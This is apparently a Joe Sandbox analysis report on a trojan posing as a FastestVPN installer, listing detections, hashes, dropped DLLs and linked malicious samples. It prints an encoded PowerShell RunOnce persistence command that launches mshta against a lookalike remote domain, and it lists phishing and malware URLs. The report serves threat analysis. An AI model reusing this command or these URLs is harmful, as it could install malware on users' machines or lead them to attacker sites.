                                                                                                  • No. of IPs < 25%
                                                                                                  • 25% < No. of IPs < 50%
                                                                                                  • 50% < No. of IPs < 75%
                                                                                                  • 75% < No. of IPs

                                                                                                  Public IPs

                                                                                                  IPDomainCountryFlagASNASN NameMalicious

                                                                                                  Private

                                                                                                  IP
                                                                                                  127.0.0.1

                                                                                                  General Information

                                                                                                  Joe Sandbox version:41.0.0 Charoite
                                                                                                  Analysis ID:1524829
                                                                                                  Start date and time:2024-10-03 10:14:34 +02:00
                                                                                                  Joe Sandbox product:CloudBasic
                                                                                                  Overall analysis duration:0h 11m 50s
                                                                                                  Hypervisor based Inspection enabled:false
                                                                                                  Report type:full
                                                                                                  Cookbook file name:default.jbs
                                                                                                  Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                                                                  Number of analysed new started processes analysed:55
                                                                                                  Number of new started drivers analysed:0
                                                                                                  Number of existing processes analysed:0
                                                                                                  Number of existing drivers analysed:0
                                                                                                  Number of injected processes analysed:0
                                                                                                  Technologies:
                                                                                                  • HCA enabled
                                                                                                  • EGA enabled
                                                                                                  • AMSI enabled
                                                                                                  Analysis Mode:default
                                                                                                  Analysis stop reason:Timeout
                                                                                                  Sample name:mnFHs2DuKg.exe
                                                                                                  renamed because original name is a hash value
                                                                                                  Original Sample Name:39551715b734f4a331dd0b39a953a79567f642dc38bfa173f9849a4dbdd7d34e.exe
                                                                                                  Detection:MAL
                                                                                                  Classification:mal48.troj.spyw.expl.evad.winEXE@77/326@0/1
                                                                                                  EGA Information:
                                                                                                  • Successful, ratio: 87.5%
                                                                                                  HCA Information:
                                                                                                  • Successful, ratio: 97%
                                                                                                  • Number of executed functions: 281
                                                                                                  • Number of non-executed functions: 137
                                                                                                  Cookbook Comments:
                                                                                                  • Found application associated with file extension: .exe

                                                                                                  Warnings

                                                                                                  • Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, conhost.exe
                                                                                                  • Excluded IPs from analysis (whitelisted): 199.232.210.172, 192.229.221.95, 20.190.159.75, 20.190.159.0, 20.190.159.71, 20.190.159.2, 40.126.31.71, 20.190.159.64, 40.126.31.73, 40.126.31.67, 184.28.90.27, 20.189.173.22
                                                                                                  • Excluded domains from analysis (whitelisted): prdv4a.aadg.msidentity.com, fs.microsoft.com, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, fastesvpn-s3-eu-north-1.1198206.com, www.tm.v4.a.prd.aadg.akadns.net, cacerts.digicert.com, onedsblobprdwus17.westus.cloudapp.azure.com, ctldl.windowsupdate.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, ocsps.ssl.com, login.live.com, e16604.g.akamaiedge.net, blobcollector.events.data.trafficmanager.net, umwatson.events.data.microsoft.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, www.tm.lg.prod.aadmsa.trafficmanager.net
                                                                                                  • Execution Graph export aborted for target powershell.exe, PID 5636 because it is empty
                                                                                                  • Not all processes where analyzed, report is missing behavior information
                                                                                                  • Report size exceeded maximum capacity and may have missing behavior information.
                                                                                                  • Report size exceeded maximum capacity and may have missing disassembly code.
                                                                                                  • Report size getting too big, too many NtAllocateVirtualMemory calls found.
                                                                                                  • Report size getting too big, too many NtOpenKeyEx calls found.
                                                                                                  • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                                                                                  • Report size getting too big, too many NtQueryValueKey calls found.
                                                                                                  • Report size getting too big, too many NtSetInformationFile calls found.

                                                                                                  Simulations

                                                                                                  Behavior and APIs

                                                                                                  TimeTypeDescription
                                                                                                  04:16:22API Interceptor2x Sleep call for process: svchost.exe modified
                                                                                                  04:16:22API Interceptor9x Sleep call for process: powershell.exe modified
                                                                                                  04:16:28API Interceptor2x Sleep call for process: FastestVPN.exe modified
                                                                                                  04:16:32API Interceptor1x Sleep call for process: WerFault.exe modified
                                                                                                  10:16:11AutostartRun: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\FastestVPN.lnk
                                                                                                  10:16:39AutostartRun: HKLM64\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce FastestVPNService pOwErshElL -ENc LgAnAG0AcwBoAHQAYQAnAGgAdAB0AHAAcwA6AC8ALwBmAGEAcwB0AGUAcwB2AHAAbgAtAHMAMwAtAGUAdQAtAG4AbwByAHQAaAAtADEALgAxADEAOQA4ADIAMAA2AC4AYwBvAG0ALwBsAGEAdQAvAGMAbwBuAGYAaQBnAGkAbgAuAHAAaABwAA==

                                                                                                  Joe Sandbox View / Context

                                                                                                  IPs

                                                                                                  ⊘No context

                                                                                                  Domains

                                                                                                  MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                  bg.microsoft.map.fastly.netPO906-645S790768.xlam.xlsxGet hashmaliciousUnknownBrowse
                                                                                                  • 199.232.214.172
                                                                                                  QT2Q1292300924.xla.xlsxGet hashmaliciousUnknownBrowse
                                                                                                  • 199.232.210.172
                                                                                                  https://email.mg.pmctraining.com/c/eJwkkcuSojAUhp_muJOKJyHAgoXTyMw41lxaa9TepZNwkUvoEER8-i7o3Vf5_tS5qVhRobla6XgTYBCSaMP9VRFHAWWMaKZYqJifqSALMoEkyiiXWvBsVcZaCn-jwmCtA63XQaTFmoVhuNZSURVo5RPCgJEm97pGOivKtmxzT5pmVceFc10PdAuYAqbjOHq5MXmtPWm8oQJMB1sDTT-AJqz9rc_hMPwrt93h9id50qkA5FY6oMnlyEiJ-zFZQtMkT4C8F0ATB8h1byXQL5fmu5cteUx9uGswPcwxM1ipgSaAXKr5y5GfwtqEw05apk_lGF1-zE7M8tL9rZJs_1WwTvb_j-QKyO96lo9bW7n6w07X8_j289urze-_APkgliZnmsdJRNMB-pjWMhN9UZrWWd2qft7J8l6Zyiyw3-TiuJAUnZOFWBgwvZ4fncRoODRdcUW3VU39FJfX5xUj8v49Hd5e_Ns7EqDJysaiLnvTejchK2DkXval66VxtWjVcoZ7jJ8BAAD__0X-oIkGet hashmaliciousUnknownBrowse
                                                                                                  • 199.232.214.172
                                                                                                  DHL Receipt_AWB 9892671327.xlsGet hashmaliciousUnknownBrowse
                                                                                                  • 199.232.214.172
                                                                                                  oRdgOQMxjr.exeGet hashmaliciousRedLineBrowse
                                                                                                  • 199.232.210.172
                                                                                                  PCUEAYj8Pj.exeGet hashmaliciousAsyncRAT, MicroClip, PureLog Stealer, RedLineBrowse
                                                                                                  • 199.232.214.172
                                                                                                  rD5Uox2mkB.exeGet hashmaliciousAsyncRAT, MicroClip, PureLog Stealer, RedLineBrowse
                                                                                                  • 199.232.210.172
                                                                                                  BANK STATEMENT REPORT.exeGet hashmaliciousDarkCloudBrowse
                                                                                                  • 199.232.210.172
                                                                                                  https://globalairt.com/arull.php?7104797967704b536932307464507a53744a4c53704a7a4d77727273784c7a7453725374524c7a732f564c3477776474594841413d3dkkirkman@ssc.nsw.gov.auGet hashmaliciousHTMLPhisherBrowse
                                                                                                  • 199.232.214.172
                                                                                                  file.exeGet hashmaliciousUnknownBrowse
                                                                                                  • 199.232.210.172
                                                                                                  fp2e7a.wpc.phicdn.nethttps://email.mg.pmctraining.com/c/eJwkkcuSojAUhp_muJOKJyHAgoXTyMw41lxaa9TepZNwkUvoEER8-i7o3Vf5_tS5qVhRobla6XgTYBCSaMP9VRFHAWWMaKZYqJifqSALMoEkyiiXWvBsVcZaCn-jwmCtA63XQaTFmoVhuNZSURVo5RPCgJEm97pGOivKtmxzT5pmVceFc10PdAuYAqbjOHq5MXmtPWm8oQJMB1sDTT-AJqz9rc_hMPwrt93h9id50qkA5FY6oMnlyEiJ-zFZQtMkT4C8F0ATB8h1byXQL5fmu5cteUx9uGswPcwxM1ipgSaAXKr5y5GfwtqEw05apk_lGF1-zE7M8tL9rZJs_1WwTvb_j-QKyO96lo9bW7n6w07X8_j289urze-_APkgliZnmsdJRNMB-pjWMhN9UZrWWd2qft7J8l6Zyiyw3-TiuJAUnZOFWBgwvZ4fncRoODRdcUW3VU39FJfX5xUj8v49Hd5e_Ns7EqDJysaiLnvTejchK2DkXval66VxtWjVcoZ7jJ8BAAD__0X-oIkGet hashmaliciousUnknownBrowse
                                                                                                  • 192.229.221.95
                                                                                                  oRdgOQMxjr.exeGet hashmaliciousRedLineBrowse
                                                                                                  • 192.229.221.95
                                                                                                  https://globalairt.com/arull.php?7104797967704b536932307464507a53744a4c53704a7a4d77727273784c7a7453725374524c7a732f564c3477776474594841413d3dkkirkman@ssc.nsw.gov.auGet hashmaliciousHTMLPhisherBrowse
                                                                                                  • 192.229.221.95
                                                                                                  v173TV3V11.exeGet hashmaliciousSmokeLoaderBrowse
                                                                                                  • 192.229.221.95
                                                                                                  0k3ibTiMjy.exeGet hashmaliciousSmokeLoaderBrowse
                                                                                                  • 192.229.221.95
                                                                                                  http://www.sunsetsafaris.com.au//homeGet hashmaliciousUnknownBrowse
                                                                                                  • 192.229.221.95
                                                                                                  http://ryo-blog-for-life.com/Get hashmaliciousUnknownBrowse
                                                                                                  • 192.229.221.95
                                                                                                  https://akbb.kampanyakrediiislemleri.com/Get hashmaliciousUnknownBrowse
                                                                                                  • 192.229.221.95
                                                                                                  http://0f46b0f46b.briandrakebooks.com/Get hashmaliciousUnknownBrowse
                                                                                                  • 192.229.221.95
                                                                                                  https://73214625721684432150.duckdns.org/home.phpGet hashmaliciousUnknownBrowse
                                                                                                  • 192.229.221.95
                                                                                                  default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.comhttp://0f46b0f46b.briandrakebooks.com/Get hashmaliciousUnknownBrowse
                                                                                                  • 217.20.57.18
                                                                                                  LnK0dS8jcA.exeGet hashmaliciousXmrigBrowse
                                                                                                  • 217.20.57.42
                                                                                                  https://app.useberry.com/t/BzWnZbSjHzChdj/Get hashmaliciousHtmlDropperBrowse
                                                                                                  • 217.20.57.18
                                                                                                  OPyF68i97j.exeGet hashmaliciousUnknownBrowse
                                                                                                  • 217.20.57.27
                                                                                                  https://trello.com/c/2T5XVROVGet hashmaliciousHTMLPhisherBrowse
                                                                                                  • 217.20.57.39
                                                                                                  https://email.mg.pmctraining.com/c/eJwUzDGOhSAQANDTSCfBAQQL2n-PgRmUDaAh_E329hvbVzwKpJF3Ehw2B84ro50WV0j68CYB2SNnQrVvLloHPjtLjAq9KAFAJ7thXDVQWlEdcfVg82oOBTo6s9ucFqPaKZ-W5sDSSz9lupuogbhPrBkT10n4ooxjgU8jXuDzfeqNJJ_rESP8fLGXiXJw6ddd6S3_GnaczPIep_gN8B8AAP__bcA-LwGet hashmaliciousHTMLPhisherBrowse
                                                                                                  • 217.20.57.23
                                                                                                  Translink_rishi.vasandani_Advice81108.pdfGet hashmaliciousUnknownBrowse
                                                                                                  • 217.20.57.37
                                                                                                  http://innerglowjourney.comGet hashmaliciousUnknownBrowse
                                                                                                  • 217.20.57.27
                                                                                                  bWrRSlOThY.exeGet hashmaliciousAsyncRAT, NeshtaBrowse
                                                                                                  • 217.20.57.34
                                                                                                  https://swissquotech.com/swissquote-2024.zipGet hashmaliciousPhisherBrowse
                                                                                                  • 217.20.57.24

                                                                                                  ASNs

                                                                                                  ⊘No context

                                                                                                  JA3 Fingerprints

                                                                                                  ⊘No context

                                                                                                  Dropped Files

                                                                                                  MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                  C:\Program Files\FastestVPN\BouncyCastle.Crypto.dll (copy)External.exeGet hashmaliciousAdes Stealer, BlackGuard, VEGA StealerBrowse
                                                                                                    newvideozones.click.ps1Get hashmaliciousUnknownBrowse
                                                                                                      use_2024_t#U043e_#U043epen.zipGet hashmaliciousUnknownBrowse
                                                                                                        JetBrains.dotPeek.2024.1.3.web.exeGet hashmaliciousUnknownBrowse
                                                                                                          JetBrains.dotPeek.2024.1.3.web.exeGet hashmaliciousUnknownBrowse
                                                                                                            EmbravaConnect.msiGet hashmaliciousPrivateLoaderBrowse
                                                                                                              lIoOSFYisn.exeGet hashmaliciousUnknownBrowse
                                                                                                                ZG17uv37pi.exeGet hashmaliciousUnknownBrowse
                                                                                                                  ZG17uv37pi.exeGet hashmaliciousUnknownBrowse

                                                                                                                    Created / dropped Files

                                                                                                                    C:\Program Files\FastestVPN\BouncyCastle.Crypto.dll (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):3316968
                                                                                                                    Entropy (8bit):6.532906510598102
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:49152:JIBbo0WIgmjljFtXCdRLRBcJd+KaGxHIkMNqzP56O8lZ7qXUqi9Y:6BbBWIgWljGxRB/LLY
                                                                                                                    MD5:0CF454B6ED4D9E46BC40306421E4B800
                                                                                                                    SHA1:9611AA929D35CBD86B87E40B628F60D5177D2411
                                                                                                                    SHA-256:E51721DC0647F4838B1ABC592BD95FD8CB924716E8A64F83D4B947821FA1FA42
                                                                                                                    SHA-512:85262F1BC67A89911640F59A759B476B30CA644BD1A1D9CD3213CC8AAE16D7CC6EA689815F19B146DB1D26F7A75772CEB48E71E27940E3686A83EB2CF7E46048
                                                                                                                    Malicious:false
                                                                                                                    Antivirus:
                                                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                    Joe Sandbox View:
                                                                                                                    • Filename: External.exe, Detection: malicious, Browse
                                                                                                                    • Filename: newvideozones.click.ps1, Detection: malicious, Browse
                                                                                                                    • Filename: use_2024_t#U043e_#U043epen.zip, Detection: malicious, Browse
                                                                                                                    • Filename: JetBrains.dotPeek.2024.1.3.web.exe, Detection: malicious, Browse
                                                                                                                    • Filename: JetBrains.dotPeek.2024.1.3.web.exe, Detection: malicious, Browse
                                                                                                                    • Filename: EmbravaConnect.msi, Detection: malicious, Browse
                                                                                                                    • Filename: lIoOSFYisn.exe, Detection: malicious, Browse
                                                                                                                    • Filename: ZG17uv37pi.exe, Detection: malicious, Browse
                                                                                                                    • Filename: ZG17uv37pi.exe, Detection: malicious, Browse
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....R............" ..0..r2..........&1.. ....2...... ........................2.....6Q3...@.................................G&1.O.....2..............|2.. ....2.....X.(.p............................................ ............... ..H............text....p2.. ...r2................. ..`.rsrc.........2......t2.............@..@.reloc........2......z2.............@..B................{&1.....H...........$....................(.....................................V!........s.........*.~....-*(....o....o....o.........~....-.~.........~....*..( ...*...0..G.......(!....o"....s.1....s*,..%..(.... ....o.....o 0...Zo....t....o8(..(....*..0..$..........(.....(....o.....(!.......io#...*z...(....(!....o"...o....(....*..0............T....r...p.(O....o$....(....*..0..I.......sG...sB)..s.(..s.(...(....s6(....,..o%....2...(....sV(....+.....%..ox...*..( ...*V.(&.....}......}..

                                                                                                                    C:\Program Files\FastestVPN\FastestVPN.BLL.dll (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):30888
                                                                                                                    Entropy (8bit):6.550270680442998
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:384:RzfFYXOvijvSGpUprWHEvgr0KnB4C7GrhIYiRSk0FP27NBY3Yuv+U:RxyOg9bxr9qaGKYi8K/Y/+U
                                                                                                                    MD5:96D7E9527C5D8BDBA798F72B5FD9B94A
                                                                                                                    SHA1:C9CE9813C74493084D6E3DDA37C35C8822CA381F
                                                                                                                    SHA-256:6942DC9FDBB229D066BA3E1844883B9DA3EAE21F7035FFF2674C3F19C6331B55
                                                                                                                    SHA-512:BE88433F513C4D9F58BDDFED57427DEC12BA0490E2D7C79176144732FBB7969956FA55B03E462C50EA3508389B3C29BC5A559F4B6002C6022C93D059C65B5C44
                                                                                                                    Malicious:false
                                                                                                                    Antivirus:
                                                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...f6............" ..0..F...........e... ........... ....................................`..................................e..O....................N...*...........d..8............................................ ............... ..H............text....E... ...F.................. ..`.rsrc................H..............@..@.reloc...............L..............@..B................be......H.......\4..$0............................................................(....*..{....*"..}....*..{....*"..}....*V.(......(......(....*.0..7.........(....}.......}.......}......|......(...+..|....(....*..{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*..(......(......(......(.......(....*.0..?.........(....}3......}4......}5......}2.....|3.....(...+..|3...(....*..0..7.........(....}#......}$......}".....|#.....(...+..|#...(....*..0..?.........(....}.......}

                                                                                                                    C:\Program Files\FastestVPN\FastestVPN.Common.dll (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):70824
                                                                                                                    Entropy (8bit):6.23750269831583
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:1536:rMDv5NwVvDK0HBDk4rVHe061i/kObvmaLLJBr+tTe7TK/SB0:UorK0HBDk4rV21HObvm2LJB4eHK/SO
                                                                                                                    MD5:0F7D6DEE75C3FBB958529AB6A351CBDF
                                                                                                                    SHA1:1CA639AB692ECD972C51C8BF826BF9BF089359FE
                                                                                                                    SHA-256:C5B07CBACD0FF045485A0A4CE6FB3CCB330A0623E3EFE347D61DA4E698FDE412
                                                                                                                    SHA-512:58F0B5ED44E3290D6C9FB0E624F2A351CD5BB4744A84AC55AC47FB1B087026DE4DBAA6BBC83255EEC51A2BB3ED9A680EF53E8FC7035586B4A74CA68016AE0F5D
                                                                                                                    Malicious:false
                                                                                                                    Antivirus:
                                                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.... F..........." ..0.............J.... ... ....... .......................`...........`.....................................O.... ...................*...@......D...8............................................ ............... ..H............text...P.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B................,.......H.......0<................................................................("...*^.("......I...%...}....*:.(".....}....*b.{....%-.&*..s#...o$...*.0..)........{.........(%...t......|......(...+...3.*....0..)........{.........('...t......|......(...+...3.*..((...*..{....*"..}....*..{....*"..}....*..{....*"..}....*2.(....s)...*..{....*"..}....*..{....*"..}....*..{....*"..}....*..((...*..{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*..((...*..{....*"..}....*..{

                                                                                                                    C:\Program Files\FastestVPN\FastestVPN.DI.dll (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):19112
                                                                                                                    Entropy (8bit):6.821071301483957
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:384:LVVVVVwhr+vtlzIYilpm0FP27NBY3Yuv+Z:LVVVVVwhKvtl8YijnK/Y/+Z
                                                                                                                    MD5:64E2269D156CA2AA5704E2E0908506F9
                                                                                                                    SHA1:0F7D6EECE52D8A9A91E389736BE1092739AA3014
                                                                                                                    SHA-256:B012720952E3FE9CB303E9EDB4314F924CB388D9C24FB63A968A3479113B665D
                                                                                                                    SHA-512:C845E7EB96ED29C564C28D42F07F5EB81C27568F0F89C343533384BF8E704B99566EA073E46259D9F3740A7A3D41AAB5BFA78AEAB05697100B3A179F5C1EDFB6
                                                                                                                    Malicious:false
                                                                                                                    Antivirus:
                                                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....c............" ..0..............6... ...@....... ..............................hj....`.................................16..O....@............... ...*...`......t5..8............................................ ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................e6......H.......("..L............................................................~....*.......*..s....*..s....*..0..B.......(....,.*s....(....(....(....(....(....(.....(....(....(.....(....*..(...+*F.(...+(...+(...+*F.(...+(...+(...+*F.(...+(...+(...+*.0..f........(...+(...+(...+(...+(...+(...+(...+(...+(...+(...+(...+(...+(...+(...+(...+(...+(...+(...+(...+(...+*..(...+*...0...........-..*....8.......%o.....%o.....o........E........ ...>...+X..(....-...(....+....(......+:..(....-...

                                                                                                                    C:\Program Files\FastestVPN\FastestVPN.DI.dll.config (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):432
                                                                                                                    Entropy (8bit):5.0141792226861375
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:12:MMHdGzNFF7ap+5v5OXrRf/2//FicYo4xT:JduPF7NhOXrRH2/d9y
                                                                                                                    MD5:8F6EB9E75E6A6F0C0D58FB697C10CEDF
                                                                                                                    SHA1:6944935DFDC33E0C6DB26869BF25EDA85A2622D8
                                                                                                                    SHA-256:E2B8677434501735FB0233ED0CC2FFEE5BF6FB4387C51DBCB2585A70E42E4F08
                                                                                                                    SHA-512:A946252B2E3705EAE751A2672D4ADE1499ECEB28C48B4BE6150C4201EE20A7B9A4450C75E06B07F5DAA3528041A566931D988FBD0C2EA90240D61008895BA44A
                                                                                                                    Malicious:false
                                                                                                                    Preview:.<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <runtime>.. <assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">.. <dependentAssembly>.. <assemblyIdentity name="Newtonsoft.Json" publicKeyToken="30ad4fe6b2a6aeed" culture="neutral" />.. <bindingRedirect oldVersion="0.0.0.0-13.0.0.0" newVersion="13.0.0.0" />.. </dependentAssembly>.. </assemblyBinding>.. </runtime>..</configuration>

                                                                                                                    C:\Program Files\FastestVPN\FastestVPN.Data.Local.dll (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):25768
                                                                                                                    Entropy (8bit):6.623350319992477
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:384:21Vrp7wobZBVBhB3GmLiVWgktWe9JHEDIYirwt0FP27NBY3Yuv+1WyT1g:21VV7TbXX72MtWQJHEsYi/K/Y/+1Wy5g
                                                                                                                    MD5:D92BF2C8E0A192E18B1F0B24CCB75171
                                                                                                                    SHA1:2A6343C3409172E1D426B763151E0CBA3B35E473
                                                                                                                    SHA-256:BEED084878EACA4A745A53CC21FAAD1A76F4F82C955BB507496B5B9F23032F1C
                                                                                                                    SHA-512:71AD4963BCEBE516FD9EE526F2DD1ECB13F10E1424D0D3CED08A19A38D902DA562C9B1D0E308C4B898E30187773F040CF6A437210EFEF52B957623F798E59459
                                                                                                                    Malicious:false
                                                                                                                    Antivirus:
                                                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...R.s..........." ..0..2..........:Q... ...`....... ..............................I/....`..................................P..O....`...............:...*..........,P..8............................................ ............... ..H............text...@1... ...2.................. ..`.rsrc........`.......4..............@..@.reloc...............8..............@..B.................Q......H.......`(...'...........................................................0..M........r...p}.....r...p}.....(......{..... (....(....(......{..... (....(....(....*^~....-.s.........~....*..{....*"..}....*..{....*"..}....*..0..8........(........(.....(.....o....r...p(....o.......&..r...p*.*........--.......0..(.......(.....o........(.....(.......&..r...p*.*.................0..X........o.....[.&......+9...Z.o.... ....(........Z.X.o.... ....(......b`.......X...o.....[2..*.0..V...

                                                                                                                    C:\Program Files\FastestVPN\FastestVPN.Data.Remote.dll (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):29352
                                                                                                                    Entropy (8bit):6.56368110636982
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:768:vT6rilChUvVsYQTJMS6V4B6PYikK/Y/+V7:7qSsYOwP7kK/77
                                                                                                                    MD5:1CFBF0CBA3C87653D9639ADA438C3291
                                                                                                                    SHA1:07E36A34319EAD85857CC022E277B69EA132750B
                                                                                                                    SHA-256:3525FCE82E2687D8EFAF992147B196881818856EA9EA851A8DC930751329A8DD
                                                                                                                    SHA-512:E95FC978E889BD62E92975EFD8F39161B6E43FE97451068552E3A71635943F990E4E8697323794D75F77BB12F3DE4E2CFADB5B9D80EF90F1992C82298EBFD00B
                                                                                                                    Malicious:false
                                                                                                                    Antivirus:
                                                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...t.i..........." ..0..@...........^... ...`....... ....................................`.................................:^..O....`...............H...*..........|]..8............................................ ............... ..H............text....>... ...@.................. ..`.rsrc........`.......B..............@..@.reloc...............F..............@..B................n^......H........1...+............................................................{....*:.(......}....*..0..)........u..........,.(.....{.....{....o....*.*.*v .5Q' )UU.Z(.....{....o....X*..0..:........r...p......%..{.......%q.........-.&.+.......o.....(....*..{....*:.(......}....*....0..)........u..........,.(.....{.....{....o....*.*.*v . .q )UU.Z(.....{....o....X*..0..:........r-..p......%..{.......%q.........-.&.+.......o.....(....*..{....*..{....*V.(......}......}....*.0..A.......

                                                                                                                    C:\Program Files\FastestVPN\FastestVPN.Data.Remote.dll.config (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):432
                                                                                                                    Entropy (8bit):5.0141792226861375
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:12:MMHdGzNFF7ap+5v5OXrRf/2//FicYo4xT:JduPF7NhOXrRH2/d9y
                                                                                                                    MD5:8F6EB9E75E6A6F0C0D58FB697C10CEDF
                                                                                                                    SHA1:6944935DFDC33E0C6DB26869BF25EDA85A2622D8
                                                                                                                    SHA-256:E2B8677434501735FB0233ED0CC2FFEE5BF6FB4387C51DBCB2585A70E42E4F08
                                                                                                                    SHA-512:A946252B2E3705EAE751A2672D4ADE1499ECEB28C48B4BE6150C4201EE20A7B9A4450C75E06B07F5DAA3528041A566931D988FBD0C2EA90240D61008895BA44A
                                                                                                                    Malicious:false
                                                                                                                    Preview:.<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <runtime>.. <assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">.. <dependentAssembly>.. <assemblyIdentity name="Newtonsoft.Json" publicKeyToken="30ad4fe6b2a6aeed" culture="neutral" />.. <bindingRedirect oldVersion="0.0.0.0-13.0.0.0" newVersion="13.0.0.0" />.. </dependentAssembly>.. </assemblyBinding>.. </runtime>..</configuration>

                                                                                                                    C:\Program Files\FastestVPN\FastestVPN.Diagnostics.dll (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):19624
                                                                                                                    Entropy (8bit):6.761472837087098
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:384:pwG3NNuGs7lkviba8FLdwIYieB0FP27NBY3Yuv+4pdS:F+V7PpFLdZYixK/Y/+4S
                                                                                                                    MD5:12A69C58D97C26D0132D493111E42345
                                                                                                                    SHA1:0DCC8570C7D76B660746A0F657607864F8764AD4
                                                                                                                    SHA-256:E6682B67F0C489BEB53C93C399D46CEAEBDD7096AD7DB984BF99DCC68E476F4C
                                                                                                                    SHA-512:3335371222BB282C55F1309432CD776CD146EFA9B6D17BF23997EFA6E3A741512FD95B9382EB719F400C6A70BD13E6A445A6011716B4C7637CF1083C8D669BE6
                                                                                                                    Malicious:false
                                                                                                                    Antivirus:
                                                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0..............8... ...@....... ...............................P....`.................................j8..O....@..............."...*...`.......7..8............................................ ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`....... ..............@..B.................8......H.......L'..`............................................................0..?.........(....}.......}.......}.......}......|......(...+..|....(....*..0..7.........(....}.......}.......}......|......(...+..|....(....*..0../.........(....}.......}......|......(...+..|....(....*..0..7.........(....}.......}.......}......|......(...+..|....(....*6..(...+(....*..(....*..(....*..{..........%..#...(.....%..!...(.....(.....(....*.0..e........{......E....8............(....o ......(!...

